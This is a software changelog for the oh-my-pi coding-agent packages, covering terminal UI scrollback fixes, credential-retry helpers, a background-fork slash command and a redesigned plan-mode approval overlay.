• Fixed task renderer crashing the TUI with TypeError: completeData?.map is not a function when a subagent's extractedToolData.yield slot held a non-array value. renderAgentResult (and the live-progress sibling) cast the slot to Array<{ data }> and called ?.map, but optional chaining short-circuits only on null/undefined, so a plain object made .map undefined and threw — taking down every review task render. Both sites now go through normalizeYieldData, which wraps a single object as a 1-element array and drops primitives (#1987)
• Fixed sdk-async-job-manager-singleton tests flaking under the full parallel suite. The four createAgentSession-based cases ran on the default 5000ms per-test timeout, which two real session startups can exceed when test:ts saturates the machine across packages; on timeout the still-running test body and afterEach reset raced, surfacing a spurious "Unhandled error between tests" on the AsyncJobManager.instance() assertion. They now carry an explicit 60000ms timeout, matching the convention used by the other session-creating tests in this suite.
• Fixed streaming eval, bash, ssh, and task call previews overflowing the live transcript viewport and cutting off their top while pending. A volatile tool block taller than the viewport could strand its scrolled-off head out of native scrollback on ED3-risk terminals (committed nowhere, repainted nowhere) until the result landed. The pending eval source preview now follows the streaming edge in a bounded 12-line tail window (newest lines pinned to the bottom, "… N earlier lines" on top) so you can watch the code being written without the box overflowing; bash/ssh commands and task context use a bounded head+tail window. Ctrl+O still lifts the cap for a full view.
• Fixed the streaming write call preview ignoring Ctrl+O so the expand toggle was a no-op while a file was being written. Unlike the eval/bash/ssh/task streaming previews, formatStreamingContent never received the expanded flag, leaving the preview pinned to a bounded 12-line tail window even after pressing Ctrl+O — so on a large write you could not widen past the streaming edge until the tool result landed. The preview now lifts the cap to the full file (head through tail) when expanded, matching the documented streaming-preview behavior of the other tools.
• Fixed turn-ending provider errors rendering twice — once as the transcript's inline Error: … line and again in the pinned banner above the editor (added in 15.9.5). The inline line is now suppressed while the same error is mirrored in the banner and restored to the transcript when the banner clears at the next turn, so the error stays in history without the duplicate render at the error moment.

Removed

• Removed the /copy last|code|all|cmd subcommands; every copy target is now reachable by picking it in the /copy tree.

@oh-my-pi/hashline

Breaking Changes

• Changed hashline file section headers from ¶PATH#TAG to [PATH#TAG] so model-authored edits use ASCII delimiters instead of a pilcrow sigil.

Fixed

• Fixed missing-header diagnostics and copied-content prefix stripping to consistently teach and recognize 4-hex snapshot tags.

@oh-my-pi/pi-tui

Added

• Added setPaddingX to Box so horizontal padding can be updated programmatically after creation
• Added ScrollView, a fixed-height viewport component for pre-rendered lines with optional right-edge scrollbars and imperative scroll/page controls.
• Added optional Terminal.hasEagerEraseScrollbackRisk() so custom/test terminal implementations can override the global ED3-risk profile without mutating the shared TERMINAL object.

Changed

• Changed SelectList to render its visible window through ScrollView, replacing the (N/M) text scroll indicator with a uniform right-edge scrollbar (the type-to-search hint line is preserved).

Fixed

• Fixed unknown-viewport deferred renders freezing bottom-anchored live chrome; deferred history mutations can now repaint only the active-grid bottom row with relative cursor movement, so spinner/status tails keep advancing without rewriting rows a scrolled reader can still see.
• Fixed autocomplete popups freezing live repaint on ED3-risk macOS/POSIX terminals with unknown native viewport position; direct autocomplete shrink frames now repaint the live viewport without zero-byte deferral and preserve the old bottom anchor when padding can clear stale popup rows without duplicating committed scrollback.
• Fixed focused Up/Down navigation on ED3-risk macOS/POSIX terminals replaying the whole transcript after dirty foreground-stream renders; selector/editor frames now repaint non-destructively instead of emitting CSI 3 J on every arrow-key move (#1962).
• Fixed tmux (and screen/zellij) pane scrollback losing the head of a long streamed assistant reply once it grew past the visible pane, and stranding the chrome/footer in pane history after a later collapse — producing the "repeating chunks and missing sections" reporters saw when scrolling back through tmux pane history (#1974). The renderer's foreground-streaming cap-to-viewport branch (introduced in 15.9.2 for ED3-risk hosts that can checkpoint-rebuild later) also activated inside multiplexers, where checkpoint reconcile is a no-op (refreshNativeScrollbackIfDirty short-circuits because \x1b[3J cannot erase pane history). Every streaming frame clipped lines to the visible tail and reset #scrollbackHighWater to 0, so any row that scrolled above the viewport top was committed nowhere — pane history stayed empty until streaming ended. Meanwhile #planLiveRegionPinnedRender was explicitly disabled for multiplexers, but its #emitLiveRegionPinnedRepaint is built from the exact primitives tmux accepts (relative cursor moves, per-line \x1b[2K, \r\n to scroll the sealed prefix past the viewport bottom) and never emits \x1b[2J/\x1b[3J. The pinned planner now runs in multiplexers too, the cap branch skips them, and the diff/append path commits incrementally into pane history; the actively-mutating live tail stays in the visible viewport only.

What's Changed

• fix(hashline): accept spaces in edit paths by @roboomp in #1766
• fix(keybindings): default Ctrl+Q for follow-up so Windows Terminal works by @roboomp in #1905
• fix(eval): stop detaching the Python kernel's console on Windows by @roboomp in #1961
• fix(tui): avoid dirty scrollback replay on arrow input by @roboomp in #1963
• fix(ai): preserve llama.cpp parallel tool arguments by @roboomp in #1971
• fix(tui): honor resume clear replay before initial paint by @roboomp in #1973
• fix(tui): commit tmux pane history during streaming via pinned emit by @roboomp in #1975
• fix(lsp): support rust-analyzer workspace loading by @roboomp in #1977
• test(tui): widened slash autocomplete settle slack past debounce jitter by @roboomp in #1981
• fix(coding-agent): guard task renderer against non-array yield slot by @roboomp in #1989
• fix(coding-agent): honor ttsr.enabled: false in TtsrManager by @QianYan-Art in #1988
• fix(coding-agent): allow retry without model fallback by @metaphorics in #1929
• Add ScrollView component by @enieuwy in #1969

New Contributors

• @QianYan-Art made their first contribution in #1988

Full Changelog: v15.9.5...v15.9.67

Added

• Added optional promptCacheKey support to AgentOptions and Agent via a new promptCacheKey property so providers can receive a caller-provided prompt cache key
• Added optional ApiKeyResolveContext parameter to getApiKey in AgentOptions and AgentLoopConfig so key resolvers can receive retry context

Changed

• Enabled streaming API calls to re-resolve credentials through the getApiKey callback when retries occur after authentication-related errors
• Agent.abort(reason?) now forwards reason to the underlying AbortController, and the synthesized aborted assistant message carries that reason on errorMessage (string or non-AbortError Error message) instead of always defaulting to "Request was aborted". Bare abort() is unchanged.

Fixed

• Fixed handling of short-lived API keys so that expired tokens are retried with a refreshed value during 401/usage-limit failures
• Ensured fallback API key resolution uses the initially configured static apiKey when getApiKey is present
• Wrapped oneshot LLM completions (instrumentedCompleteSimple: handoff, compaction/branch summaries) in an EventLoopKeepalive. These run outside the agent #runLoop, so without the keepalive Bun's event loop stopped servicing timers while parked on the completion promise — freezing host spinners (e.g. the /handoff loader) until an unrelated terminal resize poked the loop into rendering again.

@oh-my-pi/pi-ai

Breaking Changes

• Removed the onAuthError option from stream request options and shifted auth retry handling to resolver-based apiKey behavior, requiring callers using custom auth-retry hooks to migrate

Added

• Added ApiKeyResolver and ApiKey auth helpers, including isApiKeyResolver, isAuthRetryableError, resolveApiKeyOnce, and withAuth, and exported them from the package root
• Added support for a function-valued apiKey in SimpleStreamOptions so a single stream request can refresh or rotate credentials during retry
• Added forceRefresh credential option to AuthStorage.getApiKey and rotateSessionCredential support for session-level credential rotation after auth failures
• Added AuthStorage.resolver(provider, options) method that builds an ApiKeyResolver implementing the a/b/c auth-retry policy directly on the storage instance

Changed

• Changed gateway and stream auth flows to share the a/b/c retry policy, refreshing the same session credential first and then switching to a sibling credential on repeated auth failures

Fixed

• Fixed streaming auth retries to handle 401 and usage-limit errors before replay-unsafe content is emitted, including failures surfaced only via errorStatus
• Fixed tool argument validation to coerce singleton non-string values into arrays when the schema expects an array, preventing Anthropic-compatible models that emit todo.ops as an object from getting stuck in repeated validation-error loops. (#2026)
• Fixed streaming retries to buffer and suppress partial start events from failed auth attempts so only clean retried events are delivered
• Fixed the HTTP 400 raw-request dumper (appendRawHttpRequestDumpFor400) littering the real ~/.omp/logs/http-400-requests directory during tests. Provider suites exercise the 400 error path with mocked fetch responses, which the dumper could not distinguish from genuine failures; it now skips persistence under the Bun test runner (isBunTestRuntime()).
• Fixed Anthropic Opus requests unnecessarily forcing tool_choice.disable_parallel_tool_use, allowing Claude Opus to use the provider's default parallel tool-calling behavior again.
• Fixed parallel function_call items losing arguments against llama.cpp's OpenAI Responses endpoint (/v1/responses), where every call but the last finalized with {} and the agent rejected them with path: Invalid input: expected string, received undefined. llama.cpp's to_json_oaicompat_resp emits output_item.added with only item.call_id (no item.id, no output_index) while the matching function_call_arguments.delta carries item_id: "fc_<call_id>". processResponsesStream now registers function-call and custom-tool-call items under item.call_id as a secondary lookup key (alongside item.id/output_index) so identifier-deviant hosts route deltas and done events to the right block. (#2015)
• Fixed PI_REQ_DEBUG response recording truncating the captured body when a streamed response was cancelled mid-flight. The response tee in wrapResponse could call FileRequestDebugResponseLog.close() from both the cancel callback and the resumed pull (which observes done once the source reader is cancelled); the second caller saw the handle already nulled and returned before the first caller's pending write flushed, so the .res.log lost the already-buffered chunk. close() now memoizes its flush-and-close promise so every caller awaits the same completion.

@oh-my-pi/pi-coding-agent

Added

• Added display.smoothStreaming setting (default true) to let users enable or disable smooth assistant-stream text reveal
• Added /tan <work> slash command to fork the current conversation into a background agent so tangential work can continue asynchronously while your main session stays active
• Added a background /tan dispatch message that records the handoff in the transcript and marks the delegated work as non-blocking
• Added providerPromptCacheKey support to CreateAgentSessionOptions so /tan background sessions can reuse the parent session’s prompt-cache lineage
• Added session cloning for /tan runs with copied artifacts and shared MCP proxy tools
• Added SessionManager.forkFrom’s optional suppressBreadcrumb mode to avoid breadcrumb updates when forking background /tan sessions
• Added OSC 5522 enhanced paste handling in InputController, so terminal clipboard events are decoded as image or text payloads and inserted without passing raw paste sequences to the editor
• Added bracketed image-path paste support in CustomEditor so a single pasted image file path (PNG/JPEG/GIF/WEBP) is loaded from disk and inserted as an image candidate
• Added direct support for Image #N insertion from pasted local image paths by routing successful image-path pastes through the same image normalization and resize flow as clipboard image pastes
• Added /fresh to rotate the provider-facing session id and clear in-memory provider stream/cache state without changing the local session file.
• Added a ChatBlock transcript primitive (modes/components/chat-block.ts) and a single ctx.present(...) sink (with ctx.resetTranscript()) so chat output is mounted in one place instead of the repeated chatContainer.addChild(...) + ui.requestRender() pattern scattered across controllers. ChatBlock carries a React/Svelte-style lifecycle — onMount starts effects, onCleanup registers teardown, finish() self-completes (stops timers and freezes the block at its final content), and dispose()/resetTranscript() tears everything down — so animated blocks own their own resources instead of leaking setInterval/requestRender bookkeeping into callers. The MCP "Connecting…" spinner is now such a block.
• Added a framedBlock output-block helper (tui/output-block.ts) plus a borderColor override and applyBg: false (no background fill) on output blocks, a renderStatusLine iconOverride, and an icon.search (magnifier) theme symbol — so tool renderers can draw self-contained muted-outline frames and search-family tools can show a magnifier instead of a checkmark.

Changed

• Changed the bash tool frame to use a plain top rule instead of repeating "Bash" in the title bar, and folded minimizer raw-output artifact links into the status footer as Artifact: <id>.

• Changed grouped read output to use a white filled-circle mark for the group/single-read success state and omit duplicate per-file success marks inside multi-read groups.

• Changed assistant streaming output to reveal text incrementally at 30 FPS with grapheme-safe adaptive catch-up, instead of replacing the whole message chunk-by-chunk

• Changed shimmer-driven TUI animations (working text, pending bash/eval borders, and theme activity-spinner documentation) to render at 30fps instead of 60fps.

• Changed running task tool agent rows to use a static • marker and shimmer only the subagent name, leaving descriptions, stats, and nested tool detail text solid while removing the rotating status glyph from those rows.

• Changed settings singleton method access to reuse bound methods for the active instance instead of allocating a new bound function on every settings.get lookup.

• Changed plan-mode approval to keep the drafted local://<slug>-plan.md file at its original name as the canonical plan path, so approved plans are no longer renamed when leaving plan mode

• Changed plan-mode write enforcement so only local:// artifact files are writable during planning, blocking working-tree edits and allowing scratch or draft plan files in the local artifact area

• Changed the todo tool result renderer to stop redrawing every phase's full task list on each update: when a multi-phase list is rendered collapsed (the default, not manually expanded), only phases the latest update touched — the phase holding the in_progress task, any phase with a just-completed task, and phases named by the ops that ran (init counts as touching all) — render their tasks; untouched phases collapse to a one-line N. Name done/total summary. When call args are unavailable (e.g. transcript rebuilds) it falls back to the in_progress/completed-transition signals, and the manual expand toggle still shows every task. Also dropped the blank separator line previously inserted between phases.

• Changed non-agent API operations (title and commit-message generation, image generation, web search, eval llm(), auto-thinking classifier, memory consolidation) to use session-aware API key resolution with auth retries via registry.resolver() / authStorage.resolver(), refreshing the active credential before rotating to another account

• Changed image generation to wrap every provider fetch branch in withAuth, so 401 / usage-limit errors trigger credential force-refresh and rotation for authStorage-backed providers (OpenAI-hosted, antigravity, xai-oauth) while env-only providers (openrouter, gemini) stay single-attempt

• Changed web-search providers using authStorage.getApiKey (anthropic, exa, tavily, parallel, synthetic, zai, kimi) to wrap HTTP calls in withAuth for automatic credential rotation on 401 / usage-limit errors

• Changed the directory grouping for find, search, ast_grep, ast_edit, and lsp diagnostics from a single flat # dir/ heading per immediate directory to a multi-level tree that folds the common path prefix into one heading. Previously every group repeated the full directory path — so results rooted outside cwd printed the absolute prefix (e.g. /Users/me/proj/) on every heading and nested directories were never collapsed. Now a single-child directory chain folds into one heading (# packages/pkg/src/, including an absolute root for out-of-cwd results), subdirectories nest one # deeper (## nested/ → ### child.ts), and each directory's own files are listed before its subdirectories. TUI hyperlink reconstruction tracks the nested directory stack across the whole output so file and code-frame links keep resolving to the correct absolute paths.

• Changed the plan-mode approval surface from an inline transcript block plus a separate bottom selector into a single fullscreen overlay (like /copy) and overhauled its navigation. The overlay now renders the plan per-section through ScrollView (line-level ↑/↓ scroll, Shift+↑/↓ to scroll faster, PgUp/PgDn, g/G) with no stray per-line …, and — when the terminal is wide enough and the plan has ≥2 headings — shows a compact VS Code-style section sidebar (the redundant plan-title heading and any "Contents" label are omitted). Focus moves between regions with Tab/Shift+Tab (and flows at the edges: Down past the last section or the bottom of the body drops into the approval options; Up steps back), while the sidebar glows to track the scrolled section. The sidebar can fast-jump between sections, delete a section (with u undo), and annotate sections with feedback (a); deletions and annotations are collected into refinement feedback that is submitted back to the model when the operator picks "Refine plan". Mouse works too: clicking an approval option activates it, clicking a sidebar section jumps to it, and the wheel scrolls the plan. ←/→ always drive the model-tier slider, Enter confirms, the external-editor key opens the plan, and Esc cancels. The overlay borrows the terminal's alternate screen buffer for its lifetime (fullscreen overlay), so the transcript stays put on the normal screen instead of bleeding through scrollback behind the modal.

• Changed the interactive controllers (command, MCP, selector, extension-UI, event), debug panels, and the status/error/warning helpers to render chat output through ctx.present(...) instead of appending to chatContainer and calling ui.requestRender() directly; transcript rebuilds dispose live blocks via ctx.resetTranscript() so animated blocks' timers stop on reset.

• Changed tool-execution block rendering so the container (ToolExecutionComponent) is a transparent passthrough — it no longer inserts a top/bottom blank line, adds left/right padding, or paints a state-colored background behind tool output. Tools with substantial body now self-frame with a muted outline and the tool title in the frame's top bar (edit/apply_patch, write, ask, todo, github, goal, inspect_image, search_tool_bm25, task), matching the already-framed bash/read/eval/debug/web_search/lsp blocks, while streaming/in-progress and trivial results collapse to a clean status line. The search-family list tools (find, search, ast_grep) and job render frameless/minimal; find/search/ast_grep show a magnifier on success instead of a checkmark, and job drops its Job: label prefix (the per-job rows are self-describing). The search_tool_bm25, github, and inspect_image frames draw with no background fill, and inspect_image's label was shortened to Inspect.

• Changed the plan-mode active prompt (prompts/system/plan-mode-active.md) to make plans decision-complete and cut filler. Added an Objective framing ("another engineer can execute end-to-end without making a single design decision"), a shared "Resolving Unknowns" section (explore discoverable facts before asking; reserve ask for non-derivable preferences/tradeoffs with 2–4 options + a recommended default), and a single shared "The Plan" structure (Context / Approach grouped by behavior not file-by-file / ≤5 Critical files / Verification / Assumptions) that replaces the per-branch structure guidance previously duplicated across the iterative and parallel workflows. Added explicit prohibitions on sections that decide nothing (Non-Goals, Out of Scope, Alternatives Considered, Risks/Mitigations boilerplate, Future Work), on enumerating every file/line, and on inventing schema/validation/precedence policy the request never established.

• Changed completion notifications (completion.notify) to fire whenever the agent yields its turn, including in the foreground. The agent_end notification was previously gated behind background mode (isBackgrounded), so an ordinary foreground turn never emitted one; the gate is gone and the desktop toast now fires on every normal turn completion (still skipped for aborted/error turns and when completion.notify is off).

• Changed the in-progress task tool block to keep the shared context brief (# Goal / # Constraints background) visible after the first progress snapshot arrives, instead of dropping it the moment the streaming call view was replaced by the result frame, and to stop animating a spinner/clock next to the Task frame header while running — the per-agent body lines already carry their own running spinner, so the header now shows a static state icon (matching the completed/failed header icons). The context is rendered through a shared buildContextSection helper that also undoes per-field double-encoding, so the brief reads cleanly in the result frame even though renderResult receives the raw (un-repaired) tool args.

• Changed the messaging shown when you press Esc to interrupt a streaming turn from the ambiguous Operation aborted / Tool execution was aborted: Request was aborted to Interrupted by user, so a deliberate user interrupt no longer reads like an internal failure. Every Esc/flush interrupt path (onEscape while streaming, the queued-message restore-and-abort path, and the empty-submit queue flush) threads the reason through AgentSession.abort({ reason }) → Agent.abort(reason) so it rides the AbortController onto the aborted assistant message's errorMessage; the turn label renders it verbatim on both the live and replay paths, and the synthetic placeholder results paired with in-flight tool calls now read Tool execution was aborted: Interrupted by user. Aborts that carry no reason still fall back to the retry-aware Operation aborted generic. Transcript label resolution is centralized in resolveAbortLabel (session/messages.ts).